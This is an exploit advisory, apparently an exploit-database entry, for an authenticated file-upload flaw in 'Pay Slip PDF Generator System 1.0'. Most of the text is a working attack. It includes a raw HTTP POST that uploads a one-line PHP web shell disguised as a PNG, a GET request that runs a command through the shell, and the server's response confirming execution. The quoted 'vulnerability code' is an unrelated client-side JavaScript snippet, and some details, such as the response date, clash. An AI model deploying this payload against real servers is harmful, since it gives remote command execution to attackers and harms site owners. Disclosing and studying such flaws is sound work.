Pay Slip PDF Generator System 1.0 Shell Upload

`# Title: Pay Slip PDF Generator System 1.0 Shell Upload  
# Author: Hejap Zairy  
# Date: 26.07.2022  
# Vendor: https://www.sourcecodester.com/php/15242/employees-pay-slip-pdf-generator-system-email-using-phpoop-free-source-code.html  
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pess_0.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw  
  
  
#vulnerability Code php  
Needs more filtering to upload profile files  
  
php```  
<script>  
function displayImg(input,_this) {  
if (input.files && input.files[0]) {  
var reader = new FileReader();  
reader.onload = function (e) {  
$('#cimg').attr('src', e.target.result);  
}  
  
reader.readAsDataURL(input.files[0]);  
}  
}  
$('#manage-user').submit(function(e){  
e.preventDefault();  
```  
  
  
[+] Payload POST  
  
  
```  
POST /pess/admin/user/manage_user.php HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738  
Content-Length: 882  
Origin: https://0day.gov  
Referer: https://0day.gov/pess  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productName"  
Hejap Zairy  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"  
Content-Type: image/png  
  
<?=`$_GET[515]`?>  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="submit"  
-----------------------------409902128312379197203124536738--  
```  
  
  
#Status: CRITICAL  
  
[+] Payload GET  
  
```  
GET /pess/uploads/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1  
  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41  
Upgrade-Insecure-Requests: 1  
  
  
  
  
```  
  
#Response   
```  
HTTP/1.1 200 OK  
Date: Thu, 26 Mar 2022 11:15:56 GMT  
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27  
X-Powered-By: PHP/7.4.27  
Content-Length: 12  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
Hejap Zairy  
```  
  
  
# Description:  
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.  
  
# Proof and Exploit:  
https://i.imgur.com/YFsD2Ub.png  
`